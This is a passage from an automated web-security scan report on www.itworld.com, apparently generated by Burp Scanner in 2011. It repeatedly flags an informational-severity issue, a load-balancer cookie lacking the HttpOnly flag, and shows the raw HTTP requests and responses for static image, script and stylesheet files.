Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a.........P..@........ ...........0.....p..`.......y....!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61
...[SNIP]...

7.115. http://www.itworld.com/sites/all/themes/itworld/images/seemore-redarrow.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/seemore-redarrow.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/seemore-redarrow.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "380034-4cc-497f49830ec00"
Content-Type: image/gif
Content-Length: 1228
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:16 GMT
X-Varnish: 1959719425
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a...........WW....EE....BB..............................!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61
...[SNIP]...

7.116. http://www.itworld.com/sites/all/themes/itworld/images/share.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/share.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/share.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-2; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "380036-4fd-497f49821a9c0"
Content-Type: image/gif
Content-Length: 1277
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:42 GMT
X-Varnish: 252446517 252446332
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: HIT
X-Cache-Hits: 2
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a.........xZ.F..................p._{.k............O.:...!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61
...[SNIP]...

7.117. http://www.itworld.com/sites/all/themes/itworld/images/sl-divider.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/sl-divider.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/sl-divider.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "380037-7b-497f49821a9c0"
Content-Type: image/png
Content-Length: 123
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:14 GMT
X-Varnish: 1959719302
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR.............1.p.....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b.|...........a../_........).......IEND.B`.

7.118. http://www.itworld.com/sites/all/themes/itworld/images/social-box-grad.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/social-box-grad.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/social-box-grad.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:27 GMT
ETag: "380039-45-497f49821a9c0"
Content-Type: image/gif
Content-Length: 69
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:14 GMT
X-Varnish: 1959719292
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a...............................!.......,..........
h...#.".. .;

7.119. http://www.itworld.com/sites/all/themes/itworld/images/squarebullet-red.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/squarebullet-red.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/squarebullet-red.gif HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "38003c-490-497f49830ec00"
Content-Type: image/gif
Content-Length: 1168
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:16 GMT
X-Varnish: 1959719421
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

GIF89a.............!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rd
...[SNIP]...

7.120. http://www.itworld.com/sites/all/themes/itworld/images/twitter-icon-sml.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/images/twitter-icon-sml.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/images/twitter-icon-sml.png HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/sites/default/files/css/css_470b1e44d460d0e76834779be626f7fe.css
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 30 Dec 2010 20:36:17 GMT
ETag: "380044-184-498a6a3351240"
Content-Type: image/png
Content-Length: 388
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:14 GMT
X-Varnish: 1959719293
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

.PNG
.
...IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...&IDATx.bd.......d.{..., ...>.d..,`.._r`.......@..$C..(......{....[.....f0......&....K...G2... ....`..f.f....a..........F$I...
...[SNIP]...

7.121. http://www.itworld.com/sites/all/themes/itworld/js/ba-debug.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/ba-debug.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/js/ba-debug.js HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "417733-2125-497f49830ec00"
Content-Type: application/x-javascript
Content-Length: 8485
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:25 GMT
X-Varnish: 252446258
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*!
* JavaScript Debug - v0.4 - 6/22/2010
* http://benalman.com/projects/javascript-debug-console-log/
*
* Copyright (c) 2010 "Cowboy" Ben Alman
* Dual licensed under the MIT and GPL licenses.

...[SNIP]...

7.122. http://www.itworld.com/sites/all/themes/itworld/js/carousel_display.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/carousel_display.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/js/carousel_display.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Tue, 25 Jan 2011 06:05:05 GMT
ETag: "417734-100-49aa57f6d6640"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 256
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:53 GMT
X-Varnish: 1959720460 1959719333
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 7
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

$(document).ready(function(){
   // Show Blog Carousel after all blogs are loaded
   $("#blogcarousel").css("visibility","visible");

   // Show Blog Carousel after all blogs are loaded
   $("#viewscarousel-
...[SNIP]...

7.123. http://www.itworld.com/sites/all/themes/itworld/js/ifoldie.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/ifoldie.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/js/ifoldie.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Thu, 27 Jan 2011 17:18:34 GMT
ETag: "417735-31d-49ad723ac8e80"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 797
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:52 GMT
X-Varnish: 1959720426 1959719398
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 5
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*******************************************************************************
OLDIE - or Old IE. A script that finds the version of IE you're using,
and redirects if lower than the set parameter.
...[SNIP]...

7.124. http://www.itworld.com/sites/all/themes/itworld/js/inlineFieldLabel.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/inlineFieldLabel.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/js/inlineFieldLabel.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "417736-3e4-497f49830ec00"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 996
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:59 GMT
X-Varnish: 1959720621 1959719327
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 8
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

function inlineFieldLabel (label, inputid, form)
{
var fieldLabel = label; // string to put in your text input
var textInput = $(inputid);
var form = $(form); // your text input fie
...[SNIP]...

7.125. http://www.itworld.com/sites/all/themes/itworld/js/itw_script.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/itw_script.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/js/itw_script.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

7.126. http://www.itworld.com/sites/all/themes/itworld/js/jquery.scrollTo-1.4.2.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/jquery.scrollTo-1.4.2.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/js/jquery.scrollTo-1.4.2.js HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; mobify=0; __switchTo5x=56; __unam=dad84f1-13284325649-54133fa9-1; s_sess=%20s_cc%3Dtrue%3B%20s_ppv%3D14%3B%20SC_LINKS%3Dhomepage%255E%255ECyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255Ehomepage%2520%257C%2520Cyber%2520harassers%253A%2520You%2520can%2520hide%252C%2520but%2520you%2520can%25u2019t%2520run%255E%255E%3B%20s_sq%3Didgitworldcomprod%253D%252526pid%25253Dhomepage%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run%252526ot%25253DA%3B; s_pers=%20s_pv%3Dhomepage%7C1316479993320%3B; __utma=222989251.1353402908.1316477884.1316477884.1316477884.1; __utmb=222989251; __utmc=222989251; __utmz=222989251.1316477884.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "417739-1ef9-497f49830ec00"
Content-Type: application/x-javascript
Content-Length: 7929
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:22:25 GMT
X-Varnish: 252446250
Via: 1.1 varnish
Connection: keep-alive
Cache-Control: ...
Expires: ...
Age: ...
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/**

* jQuery.ScrollTo

* Copyright (c) 2007-2009 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com

* Dual licensed under MIT and GPL.

* Date: 5/25/2009

*

* @projectDes
...[SNIP]...

7.127. http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/jquery.validate.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/js/jquery.validate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "41773c-91cb-497f49830ec00"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 37323
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:08 GMT
X-Varnish: 1959719001 1959715757
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 20
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

/*
* jQuery validation plug-in 1.7
*
* http://bassistance.de/jquery-plugins/jquery-plugin-validation/
* http://docs.jquery.com/Plugins/Validation
*
* Copyright (c) 2006 - 2008 J..rn Zaefferer
*
...[SNIP]...

7.128. http://www.itworld.com/sites/all/themes/itworld/js/mosttabs.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/mosttabs.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/js/mosttabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Tue, 15 Feb 2011 22:32:13 GMT
ETag: "415f67-99-49c59bc5bd540"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 153
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:04 GMT
X-Varnish: 1959718754 1959715753
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 17
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

$(document).ready(function(){
// Moving MOST tabs calls into global docready
$('#most-articles-side').tabs();
$('#most-articles').tabs();
});

7.129. http://www.itworld.com/sites/all/themes/itworld/js/node.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/node.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /sites/all/themes/itworld/js/node.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 200 OK
Server: Apache/2.2.17 (EL)
Last-Modified: Wed, 22 Dec 2010 00:11:28 GMT
ETag: "41773d-16-497f49830ec00"
Cache-Control: max-age=1209600
Content-Type: application/x-javascript
Content-Length: 22
X-Cacheable: YES
Date: Mon, 19 Sep 2011 19:18:23 GMT
X-Varnish: 1959719828 1959719324
Via: 1.1 varnish
Connection: keep-alive
age: 0
X-Cache: HIT
X-Cache-Hits: 4
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

// JS file for nodes

7.130. http://www.itworld.com/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/default/files/css/css_10cd9db87fdd7c34896a27df8d81e201.css

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

